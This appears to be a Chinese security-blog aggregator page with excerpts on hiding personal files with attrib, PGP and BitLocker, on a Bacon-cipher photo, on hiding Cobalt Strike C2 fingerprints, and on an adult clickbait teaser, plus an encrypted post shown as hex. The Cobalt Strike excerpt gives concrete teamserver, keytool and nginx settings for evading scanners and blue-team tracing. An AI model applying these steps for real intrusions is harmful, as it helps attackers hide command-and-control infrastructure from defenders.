如何隐藏多人运动的证据?时间刺客之数据加密篇 安全闲碎

如何隐藏多人运动的证据?时间刺客之数据加密篇

多人运动心潮澎湃,深夜开黑,饥渴难耐。欢迎来到时间刺客系列之 数据加密篇。我们知道,多人运动的成功关键,不仅在于时间管理,保密工作更是重要环节,也是最容易出问题的环节。这次的事件,真是时隔多年(陈老师恍若隔世),重新唤起我们对设备物理安全的重视。而加密数据,正是物理安全得不到保障时的重要安全防护手段。下面我们依次按照从小到大的密级来讨论数据的加密姿势。一、小电影级:巧设系统文件如何保护硬盘里的小姐姐?这类数据,食之无味,弃之可惜,只是不想被人发现罢了,我们归为”小电影级“。对于它们,我们没有必要花费加密的开销,只需把那个容量1T的伪装名为”梅西进球集锦“的文件夹设为系统文件夹即可。原理:系统文件默认不可见,一般人也绝不会打开这个选项,最多只把隐藏文件设为可见。打开CMD在目录下按住Shift键+鼠标右键,打开Powershell,然后键入cmd进入命令提示符。设置系统文件夹使用attrib命令设置文件夹属性为隐藏和系统: attrib +h +s <文件夹名>此时,在当前目录下右键刷新,发现”梅西进球集锦“文件夹已经消失不见。当需要操作这个文件夹的文件时,可以用以下命令重新设为可见: attrib -h -s <文件夹名>或者,打开系统文件可见的选项:注意:使用everything等全盘搜索软件,依然可以搜索到文件夹里的文件如下图所以,如果想万无一失,打个包或批处理改名吧各位绅士(滑稽)。其实无所谓了,都已经这样藏了,找得到算你狠咯,应付一般场景比如借个电脑啥的,已经够用了。二、私房照级:PGP个人私房照,公司涉密数据…这些,当然要加密啦。PGP——全球顶级的加密软件,不了解的自行谷歌。可能有人质疑为什么用PGP,我用EFS/GPG/WINRAR/……行不行?好了,大家说的都有道理,我再补充一点,没有绝对安全的加密方式和加密软件,PGP的历史版本也曝过致命漏洞,将来也会存在漏洞,其他软件也是一样,这是从安全的角度看。从便利通信的角度看,PGP的公私钥体系使不同人之间共享涉密文件更方便也安全,用对方的公钥加密邮件/文件,对方用他的私钥才能解密查看。以下是我的公钥环,可见大量联系人:最后,国家某个经常请人喝茶的部门也用PGP,咳咳,好了,现在简单说说PGP桌面版的功能之一”虚拟磁盘“。首先,要创建自己的密钥(公钥和私钥):密钥创建好了。在PGP窗口点击”新建虚拟磁盘“:设置虚拟磁盘文件名及保存路径等,用户密钥记得添加的是自己的密钥,然后点击”创建“:输入自己私钥的使用口令:新创建的虚拟磁盘已经挂载出来了:不用的时候在任务栏的PGP图标上右键,卸载:想挂载的时候,进入虚拟磁盘文件的存储路径,双击运行:键入自己私钥的使用口令:在PGP虚拟磁盘里存入涉密文件:三、坐牢级:Bitlocker+PGP顾名思义,泄露了就要坐牢的级别。可能涉及国家安全的重要信息,或是成为犯罪证据的信息。当然,我未达到这样的密级,不知道这类层次的人用什么方法,有清楚的大佬请评论一波,谢谢。我能想到的是双重加密,例如Bitlocker+PGP。如前言,Bitlocker也不是百分百安全,只能说相对安全,虽然有阴谋论说微软有办法解密所有用Bitlocker的硬盘,但我也没有实质证据,不然乱发言。下面说说Windows 1909专业版系统创建虚拟驱动器+Bitlocker+PGP的数据加密方式。打开“磁盘管理”:创建VHD:在窗口下边找到刚创建的10G空间的虚拟磁盘,右键点击“初始化磁盘”:在该磁盘上右键,点击“新建简单卷”:打开”我的电脑“,虚拟磁盘已经挂载出来了:右键,使用Bitlocker加密该磁盘:恢复密钥一定要独立保存好(不要保存到本机上。也可打印出来物理保存)一旦忘记解锁口令,只能用恢复密钥来解锁硬盘:加密完成:想卸载该虚拟磁盘时,在图标上右键点击“弹出”:想加载时,在刚才设置的虚拟磁盘文件的存储目录双击运行:然后键入解锁口令即可:接着,在这个用Windows系统创建的虚拟磁盘里再创建一个PGP虚拟磁盘文件,步骤同前文所述。这样,就有了双重保护。想获取这个加密盘中的数据,必须干掉Bitlocker和PGP。即便干掉了Bitlocker,还有PGP,即便物理入侵从本机获得了PGP私钥,还要破解高强度的私钥使用口令。我认为难度是很大的。这里不讨论内存转储取证获得PGP/Bitlocker密钥的情况,这相当于在现场抓到并且来不及断电(FBI OPEN THE DOOR !!)。也不讨论通过木马/系统漏洞/软件漏洞等已经渗透进本机的情况,这类情况下私钥已经不安全。 本文始发于微信公众号(疯猫网络):如何隐藏多人运动的证据?时间刺客之数据加密篇
阅读全文
一战期间的照片中隐藏着密码信息? CTF专场

一战期间的照片中隐藏着密码信息?

这张照片可以把我带入了一个关于密码、密码和神秘信息里请继续阅读,找出这张图片中隐藏的密码。在此查看完整图片(http://www.intelligence101.com/wp-content/uploads/2020/01/William-Friedman-Knowledge-is-Power.jpg)结果发现,这张照片包含了一个隐藏的密码就背景而言,这张照片是威廉-弗里德曼和他的妻子伊丽莎白在一战期间训练的美国陆军密码破译员的照片。威廉和伊丽莎白-弗里德曼在密码分析方面有惊人的成就,而威廉今天被称为美国现代密码学之父(https://elonka.com/friedman/)如果你仔细观察,你会发现士兵要么面向镜头,要么面向侧面使用培根密码(你可以专门去了解培根密码),士兵可以被分成5人一组,并使用A/B系统解码秘密信息。然而,在我透露秘密信息之前,让我们快速了解一下密码、密码器和密码学的工作原理。编码 - 编码用于将整个单词翻译成其他单词、短语或数字。密码 - 将单个字符变为数字、替代字母或符号。密码学 - 是编写和破译密码的艺术/科学。密码分析 - 用于研究在没有获得通常所需钥匙的情况下获得加密信息的含义的方法。即研究如何破解加密算法或其实现方式。密码是如何工作的?密码器有三个部分1.明文 - 破译密码后显示的字母或文字2.掩护文本--用于隐藏明文的信息3.钥匙--用于解码封面文本以显示明文。其中最著名的是英格玛机--它在二战期间对德国的通信进行编码。培根的A/B系统 在培根密码中,纯文本的每个字母都被一组五个 "A "或 "B "所取代--根据下图可以看到。弗里德曼采用了培根密码,有些士兵们朝向镜头,而其他人则朝向远方。培根系统的关键部分是,a's和b's实际上不需要明确地用字母表示。在他的系统中,a和b可以被分为任何两个不同的类别--例如水果(e.g. apples & oranges)或照片中的开窗和关窗( open and shut windows)。隐藏在众目睽睽之下的秘密信息是著名的培根格言 "知识就是力量"(Knowledge is power),但没有足够的人完成 "R"(显然 "W "组的一名士兵看错了方向)。威廉-弗里德曼特别喜欢这张照片,并把这张照片放在他家里的桌子上和办公室里。培根二进制系统(高级)-如果你在维基百科上查看培根系统,它解释了关于使用二进制数字集而不是所述的A/B系统 -这种密码的高级方法包括将你的编码信息转换为二进制代码(1和0),并将其覆盖在相应的封面文本块上。秘密信息。"培根教我如何思考"(BACON TAUGHT ME HOW TO THINK)变成:00001 00000 00010 01110 01101 10011 00000 1010000110 00111 10011 01100 00100 00111 01110 1011010011 01110 10011 00111 01000 01101 01010.其中可以隐藏在相应字母的句子中(23块x5个二进制数字=115个字符)。从维基百科关于选择性听觉的随机页面中找到了一个相应的句子。"选择性听觉注意是一种选择性注意,其听觉指向人们感兴趣的事物。" (115个字符)当它把文字分成5个块时,看起来是这样的(以配合二进制代码)。Selec | tivea | udito | ryatt | entio | nisat | ypeo | fsele | ctive | atten | tionw | hereo | nesau | ditor | ydire | cteda | tthin | gspeo | plear | einte | reste | dinhe | aring然后将文本块与二进制块叠加:0000100000000100111001101100110000010100Selectiveauditoryattentionisatypeofsele001100011110011011000100001110111010110CtiveAttenTionwHereoNesauDitorYdirecteda10011011101001100111010000110101010TthinGspeoPlearEninteResteDinhearing最后,把它放回一起,使句子中的 1 变成粗体。文字写成。Selective auditory...
阅读全文
Cobalt Strike常见特征隐藏 安全文章

Cobalt Strike常见特征隐藏

前言首先红蓝对抗的时候,如果未修改CS特征、容易被蓝队溯源。前段时间360公布了cobalt strike stage uri的特征,并且紧接着nmap扫描插件也发布了。虽说这个特征很早就被发现了,但最近正好我的ip被卡巴斯基拉黑了/(ㄒoㄒ)/~~,所以来折腾一下。关于隐藏cobalt strike的特征,网上有很多方法。例如nginx反代、域前置、修改源码等方法。本此主要从nginx反代、cloudflare cdn、cloudflare worker 这三个方面说一下如何隐藏cobalt strike stage uri的特征,以及进一步隐藏c2域名和IP的方法。并记录一下部署过程中遇到的坑点。想了解域前置技术的小伙伴可以先百度了解一下。cloudflare无法使用域前置,因为它会校验SNI。目前不知到阿里云还行不行。本着匿名,加上cloudlfare免费、对国外访问支持比较好的特点,所以选择了cloudflare。下面介绍一下常见的去特征方式。去特征的几种常见方法1、更改默认端口方法一、直接编辑teamserver进行启动项修改。vi teamserver方法二、启动时候指定server_portjava -XX:ParallelGCThreads=4 -Duser.language=en -Dcobaltstrike.server_port=50505 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -Xmx1024m -classpath ./cobaltstrike.jar server.TeamServer xxx.xxx.xx.xx test google.profile2、去除证书特征Cobalt Strike默认的证书已经是分分钟被逮,所以需要生成一个新的证书这里可以用keytool这个工具。操作简单。Keytool是一个Java数据证书的管理工具,Keytool将密钥(key)和证书(certificates)存在一个称为keystore的文件中,即store后缀文件中。使用命令keytool -keystore CobaltStrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN"没改之前改了之后这些只是要了解的基础,接下来我们就在这上面的基础上,再添加几步。部署Nginx反向代理以及https上线如果在cobalt strike的c2 malleable配置文件中没有自定义http-stager的uri。默认情况下,通过访问默认的uri,就能获取到cs的shellcode。加密shellcode的密钥又是固定的(3.x 0x69,4.x 0x2e),所以能从shellcode中解出c2域名等配置信息。如图是nmap扫描插件的扫描结果。修改这个特征的方法有很多,可以修改源码加密的密钥,参考:Bypass cobaltstrike beacon config scan但是光这样也很容易被扫描检测到,所以我们最好还得配置防火墙,限制访问Cs监听的端口接下来介绍的是我用的一种方法:设置iptables,只允许localhost访问cs listener监听的端口。将外部请求通过nginx转发到localhost上的listener。还可以在nginx上设置过滤规则来允许特定请求。配置/etc/nginx/nginx.conf文件首先配置conf文件,Nginx一键安装,在配置文件中设置只允许特定的请求头访问CS的监听端口。这里要根据你的cs配置文件来进行利用,我用的是jquery-c2.4.0.profile配置如下:只有用我们所指定的请求头的请求才能被反向代理到stage urilocation ~*/jquery { if ($http_user_agent != "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko") { return 302 $REDIRECT_DOMAIN$request_uri; } proxy_pass https://127.0.0.1:5553;申请https证书这里可以直接在cloudflare上申请,非常方便,选择默认的pem格式分别复制内容保存为key.pem和chain.pem上传到cs的服务器上,再在nginx配置文件中启用证书。server_name img.xxxx.tkroot /usr/share/nginx/html;ssl_certificate "/usr/local/cs/all/uploads/sss.pem";ssl_certificate_key "/usr/local/cs/all/uploads/ssk.pem";ssl_session_cache shared:SSL:1m;ssl_session_timeout 1440m;ssl_protocols TLSv1 TLSv1.1 TLSv1.2; # managed by Certbotssl_prefer_server_ciphers on; # managed by Certbot为cobalt strike 配置证书1.生成img.xxxx.tk.store文件openssl pkcs12 -export -in /api.xxx.com/sss.pem...
阅读全文
禁传!内挖隐藏资源,强制执行 安全文章

禁传!内挖隐藏资源,强制执行

珍藏超敏感の深夜开冲游戏!(营养跟上→怕你撑不过第三关)勿传播,游戏底线由你控制不要用这种pose啊!真难顶啊!尺度过大!仅限一个人偷偷玩! 点原文你懂的 速盘 本文始发于微信公众号(虚拟框架):禁传!内挖隐藏资源,强制执行
阅读全文
隐藏 C2的几种方式 安全博客

隐藏 C2的几种方式

本文已加密 隐藏加速你的 C2 e119eb1da295c95738b0b95b5e5abff8d58a645e5116fafddafced491e4a2ac56ccb54ffa4f53d2dba55e821199cbf2287a8d2e8373891e601a016b5f1d3bc745d4380180cf12d806056e36b5c2c9918f4096e44a2fdff212195c2de14d5da714bbcf8a5ace5e0e004d00d1dfdb10f169e58e63f6ad309a82069af66bd4b99bbc9ec952cca43f2cf3b66937b9b4668090a556f3b66ddb0fa0f4712a888c1594e285ebab44b6a8f2ca2c2d9a10f374a531c93234d6c4128b4927fd13aed85c5785c4566421033a23864f825504bb014856494be24434cc18ef4e24b44343442df6d27a0b3521909a808ad3d8723c633c994830d135f516a10fc129aa19140543fd2aa19555cf7342500470aefaaf16b8aecd74b0370bf9b97a131fae0801949a5ab36bb314c99cb99fdf52830a3d3e8f7db52e76b019bf7ebbcb2d94861b88fa4a9d6617135511421c61918c1b2b55602c33c91d4e76f27dacf74cdbeadfcc29f89e64eab13625c7290916a54cb8686d5c7d909fda0a7feeceb72a0ea7c2d9854a49b991bcd8518df339ca938ed62760e0731b337e72f5b23e1bb1e28f5ee46ebc6f8aeb92d07400f2855c8207e79dc1af2379ccb780bd91f81a6772ade317a1276d5e158869f9cf863992a6c24a96e11b8b32347d20492178b53bfb754f580df31f1068dcc71f7f3abaac1d9c6d60b256df81368c0518bf9b6d7ff246d5a507fc7c9577919472a630f4a65bd728ceae6dc0a56916c9291595206917d7f815c0ed1797e6778da9f77c7591993b1b0ea203bb23bf06d529c85f4284553b2aabc506800cf5f7d28b7c7aaacac357f3c54fbd034c1a82fcd33e4627cec654ecd95f3b58b8209126813999e14d1fc043bd7a67a5dabd97bd28f7630631cebd8c11560163b88aea98f7ce1ccd46f5aa028892deb90329188da5821a2fb887e94d737900cbcd491b5f511787b186e45ba54cfcece9758ff211f1e9269fcddffc47b5c7e7cffbb3aa1bebb1730405fd9b84971750cd035d5aa1182b6a53f9e1eaec2471173e643a2f5d75968ac5daa44e485202ec1fee72ac196c3f0604eaeac36aa60e874169e9c4faf326dd67dc7587fdf0fa3b0d2d3672eecbad825aec98e98abe85dd38aec53fa38a09bd58f83473a5df410e5572675026e40d95207b32a561cb7cd71546be9f66d56130206bec4bb0d24ba89c88034fdb7f4a199810e6b813df7c1cb6be2e26853fa2c258b5125bbb40f9966c739e7f4080841928d79b8c9e61817fb13ddb6b183ce3b764dd02419dcddf04eac7725916466706ae70aefe18f8c0178e3845872a11c576f6a2342b21000a376dc0cf2befdfc4b077a583dc4dbeed518c014210694d04742c347334ca9c0fad739993a2bf8a72d9051115f0ec7050ee60cc277a2b8ef3ba3e70f75ca684908c4697a5d53e58520cd2cdaf2c32f4916c475dcc91414e88c4f19b8b72dfbe376ae50a87b03964a5fe1887a69f05856393be8610b09c70e05b90f260454dd881873666caa416edc4c9736c28b120cbee19c36ce45998f240bbb5422893ff2449678fad552682d9d3d43b785fdd0e7cd9cf44a60304a10a871bf6078ad581c0f85a06682e1aa4f1d4182b8bcb52484c6a33c62b5a1e5ee7be11336329a9281771417b87af3b964e906d3582fba6d4312707a2c551509a494d1aac9d76ae89e93eec18aac0aa9d74bdc97eea13ed1cd91a4b6a032e823c509dc6e9ec8a82515eb6d88269456f6c51c2bdfcf5d536ae6a0480e8cd0ba80016b6595e5a1655686b455219a24f8fd0d8ffdb5b4152165b655bc4f80a2ff7b08c91c4bc20833bee7b4e708db2ff10873252d71eae0ac53e911db5cdb8dad4938bed945e87a1787fe331a715e48f4526d90cb527756b2b9885c9ca8107750cb4ad9ee3959cf181b87b6ff0530fd06b4174f154728f1a3da3ee0e0decf7c1006bd7531b58630bd74fc75ecb3066dc82c00e705ee8979457ef0a4e1e56cfe4f481ce5e3edfd2e42c1a7b88050a77142be347f3e694dc653deebb5e1694b913ceb2d88b8ce3bcab717061d7ca14565c78daf4ffd067d642aba6a7fcad21d336380a13dc72fdb6ed7f60816be4ec8bf6e067eed753777866c13c0c13adac37dbbbea0560ae01c635b089a75cf03cf483548618673c35ebf23881dbf89a2d19bef34f8cd9c999538b018a7ce895cddd8b24bc7fa36d77a748f51a9d903863518000e440c53f7410de3edddfa15edce9b7c2b110dd5d955cd013b5a1d6542b7ab8b5a1550397976d8f4c4230d3874fe529a2166fc035861e232d6372d29eef559e767c55210c34e00812b89e3759ddb97e2c19d548f4ee97fde7a736151f49ed0bd3d0854b8f77b96a4f397dd15c24ea5f84155e8e90873628e62b1cd44a8f95be05f581f86c7a6b20f2048c4a7a60b7b2aa093356487226a38f06c84dd567b969fb9b5c0e35df645965dc3e9cbe1c247d3ebf2c05d7b2dcba514880288025ea053b5c9b6455e761a341998d28994e9e02bbebc51422d96d9699a75d1ae553bfc2e21b52191e4fcefb8da237fb44ce4f87334ea7e5433695caf0dcfce8261f28ddf4f701333abf333f24348ec05ae6ed61ffed5132bd15294a9a8015a484103baa5424c54407f36997b9d501b70e2315f7be09e03d0565f29186ca5150888cded1bf00c322062bb90cde5b7a6214348218ed197d64e491e1a24f76638119e9002fb7d20e585c9bd5eb0d0c9deda8c4aa6fa33f56875e7b9860cd4e57b3adafdb50a343b58c7694ac0f3f4e95b0d077de1620bcb73ea46cdec96b2ce295aad844333113ebf079ca2cd65ca6e4e0bd1d3af669327659e1f18ee2363631796d3682df0fc4a70c56f91c01a974a8a7e5ef253c2c1823d80ad357cee3c97b99f7ab3a55407979b2b4d2bd0342af21f2ab6ad12c0c58c6828ee4855638c611ea0e683f7715fa5723544159706c65b6804067d8ce1c43e764ba5993725f18157c2b732b24fda86752dcdb80fd7de3edebaa3428e08807831b4c0db52eef25eaccb2c89d1e735ad459e27f65bc9457d54f1fbb73f8c1e029b3383f71e93e3ee99cbbab764e0ed9e1ff2cc290ae1057f97cd7b66a629cc1769fd99f23ead1b31f6d87e434a677ae2d0ed7819cd9a473138eea9db49b38d685480f890eda2b136c89702621682291fce860e133d1ad80eeaa5fc945705593de8e52470fdf51f42e6d7d029274abacb7774fa3c3e3b193337b432fa285139ad153f6aee3e492d40514d8a517f337fe28ab57f8fdc8d3e6590113649ae8aa3ab12d73825ec6ba738dc7e61a56043b7ed1fb0841e549719c0979e95870900a8ea53c7f539733b96c657e4ff5476c5105bfc646b68f3a96388396c3fca4f1f2ca36d87154c1885a404a9ac2e1e692e48823cc59f91449a3433d0221b642c7b5c1ddc20fce162778f1021c87df6b8224e488b2f254eb22cffcc8fb7d9f175e9a0deac46a972fd04b45257a7e8d5643fecf8172e5448839b60a67facdb65bde0c21bdc7cac17d051b380349da72e2063189966b1825e408cac2e33f478ad1d174b1f61c522a1d0455ad415da05af3406fd29fdd9aed5416ee2a5cda4a972be56c31397faa933a6218db4fdb102488dcf5cf4a58be532b4490046cd7c1be2a63c133e174240933daaceecc205beda949e17f5404d0acf987a221cdae3836b68ebf833b59b0ef2192c67b10de8891e1867686876b9d0b65415358884da286c950daebfbd16e10cd16e998969b46c8af666dc48161c618ebe963434495f0ede1f9fccf442be169e3e9783fd55dc5793f567d8cf1f5d5bacf272d2648dff3f95a327cd395d0c9fd75466917b479466c64710f94f1be94d9c20266b0546e547ec855510df694f97bfc3c2bfbf3982a0fbdb8ad92ef08ac24f67723ade743be5575b3a0dd6606739848180880476844ac74718c35f41f5094335e847598f56e8f6854eed8fb0714efe20f4830f9febf1f1708321aae1ac1fa4f840b46039e558dcd07289433d6ab47f9e0a1810608aa10ea54dbbe084b2ba8fa01f482a62b369dda26b0c0d068df66d1f54a43b3009182d3bcafda2b87acd69c5be74e0bdbbc833f4d72bbff2a7cb84080e8e52e1555d651d8ab61fd885355e97da4e7cab9cf6cca87c63409c062f9994c11b8481ac8a46f363a3b1c5a263c0f621fc2d71e9b1cbfa5c63807f33b3446f2707a068561c053bc795c6d0d20dc8abd2fb54cbe30c43d1b7afaf08f8116fbef31053775846d9e5afca5dd07f5c038c8ed48e5d53ca07f84d9538279a5edb11c17ec79a3bf15ac2435c6662ac0ed09408824fcb66187f263b7d1abcca266248ddfb3b29454ced3ea8e19f66467f057a8391b2b5c92a262081abe6dd97d412317789aef9a7c59ccebea5f026019b9c91cce35988fdc3f287675d76bf95faded4c2af7336f50a100d642a769efc86deb04f1ffbac6f34e762cba115f430621e13c0f514e29fffd5b95684be58403f8df83f498f5987d542ca7b0868676c327becf488ed788c6f7188bec46132e2d8581b50390cc096b2ae0dc8907cf230be5152df7431f5277e02f92ac53e24753f21198d0739fbd082f8ab6872b347c55f15eca7597973c52a06b9654619f7d4d0ef6ef4bc553d15150a4bf87216c1631fcff7544b88d89a3ba5f68c91e4d89ba62167112f126b3a812c5f1a1b87158d8c8b19e813d3ae05b5356a50c72238490a0381afcc8cb5a120f70e896cfb860bcca605edde837720fbb733c528707924edc88bf482d41b9ce01097bec42dfffea1070eb3e31fecc7c71440335b86e825292a3f32bb1e019c7ae95012824e3fe9b7a75323db6c90a1a1b454f91880aeee00a861cd89df3afdce69de513263463959766fbaa11f9ba054735ace2d95ffb5dcce6006b8382d8f6399c3630a164af366dae1a35936faa847160e54f802a0efc9ecb63259d3e2b0abe980234305088402857264390553cd00bff71840712b542ea0e793ab9be298433ccce76644c01fdbd9d2d479e6a006392b86f4303ffe48b5a9b418ac8b66635cf4e84c985d8be19e295df6b2097f03e62043c28f85e6d0b6f4712f6e9df720fbb011b22a684f8617c6f5d2c7e6ab39d399dc2014e2c19d96eeffd82ef240d58cc9ced6eb60b234a17097b3897e49fb58b67354676668731463e66b0abac54d4e5858947598d36780303d643a6bc121d3b97690778c600481ad6a5a93b121bfd6e74ef30be908cfa61b437d59271c7c41be8fa85cbf7ac37fd9b7300b0745fae5159a0f5f0ec4e94c97451e551f9c2e7caff516bd1af052f2e93c1c00fd98a921d3a4cd882c717b83f35df1c2ee51127c0e8721a720d61bc336fd7f5c1d83c5f251d82f39718f550dc1e65a5d0b405fc9052896a751f5c8e1bbf782c813f5525f488933f57878e3c3184847c280b4c082deae01d212c8e7c9af863a6db59edd4059b78ba3d00792392e5a94e64a90ca4de554f78c36000a267969e6b0c685302afa7bd3d1e283cd42ecfb935d9cc6e60dc9d3dfb470356020bffbfdc7481f67c12a45e75c649787ea889aab8e2fbc53a724e505a039618a33890d9a8d95bea8eec8dda249c836993b9b09dc5eef45b3846bc8f5e7b4112257c16bd9efa76f3e03b75da630a963cb172bcf1cba9dd9cdec394e613466b17e947b0bb9f041125ac1792053db4ee82a9291c7cbd944664a9f0188acfe921967adfe803026b0e2e4f807885dd825e5f16a1603f6e6d63486a4cf7e192a4fb620e5377bd5cf0d161bb8cb64639be18935c0c3fe3e5ba4fb98e4e764769219c4cffaf5adcc81330ecf76847685e282c5699bedbb725386535655b8742eecfe09701e02c9ebc41199dd4d1cbd06b380af451757254f7d3f07a05fa706000254dcb781b1d90d7366c3181b84e5e6cfa93da9c6d63a5355dca4f22b9a273e67e08734080cdb48be0e1707c57f52cab14aca0393dbd67625888f86812375d970fa6a382da62c609aaffd11b404164b025e34ab0da54948ce42b373fbe80de4c18c4a34ce7cb337b14bc0436c0c3f26bbe7621f4fcf282da468b4ef44fa8cfaca61bb881bd467dd2e2da229f2e8f7b04277d11de791cb921d472e74337aaa89623ec2f5b375d2028c38bd599b5255ffc1440a62b0759e169d5e47ac13f4cc31f50305e95f5ac744ec5d13cd668a773ee1af20ec3ceaccde9800f0f2e21e729371115d7042c49b9ebb40c26bf1a460c827630378c82292607ec4e09645c6aec67d083edcd7537add001e838756a402ca36b9838cf8030926400aed248767d8f3fa3bc4256da968ae3290daedf82073a32e09c88ffe327a58eeb1fdcf32d7a453a850faa3d6fd5f10c7ff3c90161f351034253d1f0c3631e91988d18f55c178f4c689a0c6e51871bc9e5cbf5c952d4eb7aa57c768c0743d12248451efbab1b4e5536cd480a23364a53f6025e22a03b369da13fa50f31b40bebc1f085ce5e6e1ee38ce29f3d22166d4d3b3b63c8cee55353cecc45b0e18b2f15b0c695290312ea98f19e863b2e72e00027b76fd701d0c4b9127c680df4fd068323f6e13e1adc98a0f4cbcc4215d98c97ce7be6b774c93fff2263774f28ad9e9e5445f707119cafb60cc38e1d9df03a38725bf0f0c630013c85de5823c266b995026ebca29d0d3ed0d084fe6cb3d6536f048556228652714b1efd08cf7b29221aa076976adedae99567b93f6fd11a1c77d8aea68793c86c475da999c7484dddcee9e18f64c82110de236271f09ce0ff4cff96c359fa1deda9f9b034d55b91c36d4a175d026359c15a7a8e3884ffac3e76a27783788794b3205a63a94b05ce0dabe3548eb1d098063c694e66c99d2682ef7ac443640e222e1f9bcefa4bc03fefd31e4be15fbc6911ba841c5d981010d250e0eba92ff802ba639fe340be6cfdd16a8c5633ce11eeb6d9ce48b5efbb395391c6cdb455542f6def0ae49d3c5d53710cf86f4493ddb731b0aab9a4c2927c16ad74ffaac3c926c9bce24dd0b3d9456d24dbdacd35698123d7b77b4f1754032bdc78cf56e6f7bebe96c0ae177a4a504a4bd3e587f64335615246a1d940c512ed4a50f07d6dc84487aa4505cd76d524393fe1b988ea3efde702436029472282ba9a22804275b3790dfb30e51f8f25d1f1ca335f316312c84a5345f39223ee374e3f435b8fedf5dd717d01b63e7cb9aeb815526870220e5d2a85d7d377ea48317f1599ca94938d58ed4eb87f1caa2feadca89712f879654b634e27a12a2282011cb1c13aba75f80e74e9f80cf225c23a748aff9224ff175a291a397b230de3e6ce53f9dbb5f3c48ca4a14971d5e40ccfd84aca5fbd686e318d2dcc0f20dfff45cef2f8f1b806b159c4cb3421d50813eefb4ff22c52f43284792b74485ced93fa157c8b05445ddc734dcca8a88fd4edc62125c12083cf982df9289b15f0ab0c14a24eea145522ef2109425275bc49994208bd4b635e42fca26f09693f998f381509f9a4ccb7afcaec1773bcf9abdc2ff2b4c4be0a814eecd2760339838595c4d1b629700fdc5d2bee15dca41bf197040c95d16546feae2bd5e762a5389c1ac5b0980f58d8ac7f9f7632241fd7f04fb2ca71e09ef35e538c24085ebc6891d3bba637b384e311b46ebe3511740aee96b714a3921476e7ef95e79d917b0a86058719bc423dc77ffa1ed8554aff7719dfbe26024b1b03bb1e3edc61a6e48ed75478fbc9c0a7d02366c8e85c4847ebeada441b78eac3bbd69c70f853f94191ee035bdc78cb1367ee87aeda66ef0504ffaa1a93d517914fc3ff7d3559fab09ba742ff32bf01700a0a843abba4abf657e0e2b72603efa0e61964fd2c06023a09ebdaca1310e1c64ba208373dca822440b87f6f4bfd2feb2786bacb0275d4ad81c5f00edb8b266177e1f9f0dcc0cb94289ad5028ab2907ada0434537f956f77464b9f7fddc20aeecaffa5027ebc99d02362b7db73f789a68c3406f4a34ae77c570969032ff3c9dddbe080a01c212c9f8149e05795336a27ccc71ff36f2359d4ce833dd5ba92daac3865539fced562e38bc02cec303edebd0e3b482b300aed2b9b469add5628d1e2ce20ce599187374a32575fc9805b1e1fd77db8c1fffd0ba203c8c6bc0f922b7e0d4fbd1e06a02573decf6a0eb420325cc7405e3add578c78412bd869e799c69f58feae45535e22f97bff557381dbdb975b2c12ca40a7f665969013e0962caea659f80f42d410da0e713c03fd35c96c364e34c2973bf49da9aa7e1313dc1cf6dc399c1e9485c84dbcc130930a60bfa570304b1596679a3284a867f70cf4064811cea2e76f80c80b857215400746fc49d1875e906f1df8a8fd4fbc22fcdbfdb69993c1fcc681c3154750ffc58ad77cae95d217aaca42cb6253843c035ed18784d05e576533f891282a8e371b6c8f630ee33feb7acb4d65a32c1010d8830e5ef16fc340d3f8dd2c81981bfe8587cc1757e8b40187d316e4c3e8ec607703f93294225aa2b1fa4b30b919e5d73eefa43ed941577d16f19a9b206361498ce41e81a9857d1d2c0b727f862ee805b307ee913556f755a5d011023bf5b1daff56249fd5c76d9d4fedd6168404f5ec6a7d74ef83851e5189078c6c264fb941b8b732b6e007deff2813a6ba84f2c09de3cf4498482daf87f70e6dd285edca23f967e6c8c4d8bc37b427c9ade675d24f31c5ca00956a1ea5dc77e995b77e154db54ec325dc0c957aaf034dad897b3d6db1889b6181303b77f2dcd727b4f87dc9ec84f3608aa28de56ae42fbc52ad763f8846b06f7a1a07db013022ff54907863b1c7744dc02375551a55077f69c0c423c9a419412c78cc61e44376e7f72bc545d7840dd956be3d48d5577b4871e65e5fc79f51d934aa1959322d1c6387c283f7a32c8d8a32d01beb661751007a61a11ece72432804e02bace3c7f242895fef016edd9ecb241ad93568ca6d52c45f2293c8f208323efa54a43311ce2fa256f161504767ed5bf0f080eabd4e5923adca982197bad730ab3c525158a7eff8840776bb0315ed51fc636e4be2469386371b0b80fe400543bca8ac82af0a75329ed74c1e72f7485d16701088401b5971ab742414ca70de9a4554e1c22415fc415c5eb1ed466b505dc8371128080f1d385106d9d8ff6fc2817f8afc4ea2785d25648756a8d585b51141deda6593a88e4427fd7b355e5c88aeed919a7f68a0357c2add6f1b06fcd98cbf080825942e97bf6802002933ee9bdd3028d10e0dbc2d02fe8e72bc805a1731bf1e9d30570e01e59631185f7e325b46a16dececf3a851290d434038922a43ea0390499ffb3e589b33ac199de5e286431bd50d31c45cbcd6905397354d934f2ff0b9f31060a2eb009a835cf1dd3908d5bca8dc4cc74dbb94ff5ab598a96b7c1d8f13a2866e723c4339e4ef8a71bd7d30e567e2244d9ee52bcae30ba3d343863eaf69ea44efc4ce3efb0e7fd0051062fe288b997a2dada75c1a66a5cbac17ad86dbce1f1a9992e64b6510cdaa3ca8e644ac00a12cc085e3b6f1e75cd63dbd19bfe047ec2cab30c750a84f97d400cd37ff5bf7e984f386c4612011e1ffa8a0489cca8699bf82d5cbe4ae3f0cff5b881a280d64f7bf689f8c1855c6d12d398d3e28e3505120e2379cb2fd3bea7ab9c68b138dcb21462a55ec031997609e141f53d6f5cb88934ef9119e56bef8aff306ef5fcb8165d388860874a5006ac228f4043d12f10e8ee975469c5851fc6d9165224899d3fd12e984232c66cc3216f8be4f232dc484f8e3c97ccf931e1318ffe0cd460413e5ccad9aa2a3275b7083d9363f3de390b971693f6833575edadceb70e103b746ed5351539ed0c9c21430b1ab51ccdb90318533c759d6f4852930f1fbb799af3831599b71dcb6997cd93b61ed95b4ab3ca2dbb8c242cd50149cd2e7a818f39fb42afdad15f8edcf928ae8f2023a3400ba008d3fb87ff58356d03b78ef60f4517f99567fb95fc87b3d6cf2127fc46f517025f4d599f5e3fa73cb8b4edbf5322a1d9223dd63f6142e674f0f49a4fc349f1333a0b69081d4fd243b60a91ae416f2cd087547bbd6a354950cb4090b655dd30b87efe42de64c3ef17fdc01272f4505ae9ab334586568b